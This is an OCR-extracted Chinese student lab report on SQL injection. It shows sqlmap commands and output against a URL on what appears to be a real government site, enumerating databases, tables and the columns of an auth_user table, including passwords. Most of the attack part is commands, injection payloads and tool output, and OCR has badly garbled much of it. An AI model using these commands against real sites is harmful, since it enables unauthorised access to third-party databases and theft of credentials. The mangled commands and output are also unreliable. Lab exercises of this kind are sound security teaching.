《网络安全实验报告》由会员分享，可在线阅读，更多相关《网络安全实验报告（8页珍藏版）》请在金锄头文库上搜索。
1、课程名称网络信息安全综合实验实验项目名称SQL注入攻击一、实验要求在虚拟机环境查找SQL注入漏洞，通过Metasploit平台的sqlmap攻击实施SQL注入， 了解防御措施二、实验环境攻击机：BT5r3, IP 地址:192.168.200.4URL：http:/ 打开终端，进入 Sqlmap 目录：cd /pentest/database/sqlmap2. 通过Sqlmap进行注入攻击。rootbt:/pentest/database/sqlmap# pythor sqlmap.py -u http:/search.js.cei.gov. CT/0M_2hnews/search/Ietal
2、l. php ?id=108321Bx4a5(MULL)- nulJNULL, I r KULL11 columns ALL SELECT ,MULL, NULLMJLL C0UCAT(6x3a6a73763a ,NULL, NULLr NliLLr NULL护02:101-09 INFO 02:10:00 INFO sqlmap id已ntifledType： UNION queryTitle： MySQL UNION query Payload: id=10&32 JMIT 75926s656b6d5148rex3a6570&73a)Place: GETParanteter: idType
3、： boolean-based blindTitle： AND Soolean-baaed blind - WHERE or HAVING clause Payload： id=；19832 AND 2449=2449resulting back end DBMS myaql*testing cornection to the target urlthe following irjection points with a total of S HTTP(s)Type: error-basedTitle： MySQL a= 5.0 AND error-based - WHERE ar HAVIN
4、G clausePavload! ld=10832 AND (SELECT 4366 FROMfSELECT COUNTf*pCDNCATf0x3a6a73763ap(SELEC T (CASE WHEN 4366=43&6) THEN 1 ELSE 6 END )F 0x3a6570673a F FLOOR (RAND (B) *2 ) X FROM INFO RATION SCHEMA.CHARACTER SETS GROUP BY上图可知：sqlmap探测出URL中的id参数存在着SQL注入点，并包含了基于错误的SQL注入点以及UNION 查询注入点。01:20:14 INFO the
5、back-end DBMS is MySQLweb seruei operating system： Wirdowsweb application technology: PHP 4.4.9r Apache 1.3.28 back-end DBMS: MySQL 5.001i20：14 INFO fetched data logged to text files urder Vpentest/database/sq 皿日卩/output/search j s cei gov cn1* shutting down at 01:20:14由上图可知后台数据库的版本是MySQL 5.0，Web应用平
6、台为PHP 4.4.9/Apache 1.3.28。3. 通 过Sqlmap 获 取 数 据 库 名rooteabt:/pentest/database/sqliTiap# python sqlmap.py -u http:/search.j5.cei.gov. cn/e64-_zhnews/search/detail.php?id=10832-dbs -v 0sqlmap/1.9-dev-25eca9d - automatic SOL inj ection and database takeover tool http:/sqlmap.orgfetching the SQL retrieve
7、d 巳 tleved retrieved retrieved retrieved retrieved retrieved Etci巳目巳d 厂巳t厂吕d retrieved retrieued retrieved retrieved retrieved Etleved retrieved retrieved rieued 181：21:3521:3621:3621:3621:3G21:3621:3621:3621:3621:3621:3&21:3621:3621:3721:3721:3721:3721:37 21罚21:37web web back-end DBMS019101QI019101
8、3101010191010101910101&101 available databasesdatabase names query used returns 18 entries riinforination_5chema changjiang ricorporatiorri dailynews efair11 eproject11 gongchangri hdSbinfo1 jjnew5FI pljscreditn jsfa3iousn HjsnorthH jsuision jshwh*1 mysqll produce1 project tS.fserver operating syste
9、m: Windowsapplicatian technology: PHP 4.4.9r Apache 1.3.28 MySQL 5.0LIBF01LNFOINFOINFOINFOINFOINFOIMFOlIMFOINFOINFOINFaINFOLIMFOIMFOIMFOIMF01iNFaJINFOfINF3available databases 13: * thangjlang * corpora tian p dailynews * efaireroj&ct f-| gangchang j”j tid56in-fa + informatian schena * jjnews * JSEFf
10、ldit * Jsfoinoui * j5north * 5wision * jszhwti I* mysql * produce * projecttest4. 通过 Sqlmap 获取表名。本实验以 efair 数据库为例：rc Jt(abt:/pentest/database/sqlmap# python sqlmap.py -u http:/searchjs.cei.gou cn/Q04_zhnews/search/detail.php?id=lG8321 -D efair -tablesurdra VperiINFOINFO INFOINFOINFO INFO efairtext f
11、ile91:33 web web i back 91:33:23 01:33:23 91:33:24 01:33:24 01:33:24 01:33:24 Database: 4 tables91:33:24 INFO map/oUtptJt/earch. j,s. ceishutting dawn at 01:33:24actieessions auth user db_sequence efairfetched data logged gou-cn1SQL query used active_se5sior5 uthuser db_sequencesl efairH23 INFO the
12、back-end DBM5 is My5QL server operating system: Windows application techn叽ogy: PHP 4.4.9, Apache 1.3.2S -end QBHS! flySQL 5.Sfetching tables for database: lair the SQL querv used returns 4 entries retrieved retrieved retrieved retrieved5.通过 Sqlmap 获取列名。以 efair 数据库里的 auth_user 为例：课看到有 password 一列：r&o
13、t: ： -:/pent&t/database/&qlmap# python sqlmappy -u http：/search.js.c巳igov cn/QQ4-_zhnew5/5earch/detail.php?id=lQ832 - efair -tables -T auth_user -colum nsColumn01:39- 36 IMFO 31:39:36 IMFO fll;39:37 INFO 01:39:37 INFO 91:39:37 IMFO 01:39：37 INFO Databasei efairTablej authuser 斗 columnsIMFO IMFO INFO
14、 INFO INFO INFOvarcharf321 varchart255) varchar(32) varcharf32)Hiifier_idn, nvarchar(32) nu5ernaiJe, *varcharf32) passwordn r varchar(32111 perms r varchar f255)password pe rifts userid usernamefetching columns for table aLith_iiser in database 1 efair the SQL query used returns 4 entries retrieved: retrieved: retrieved： retrieved:31:39：37 INFO fetchedlogged to text fj,es tinder jfpent&st/databae/sBlmap/output/search.js-csi.gov.efi11 ABbrlfl
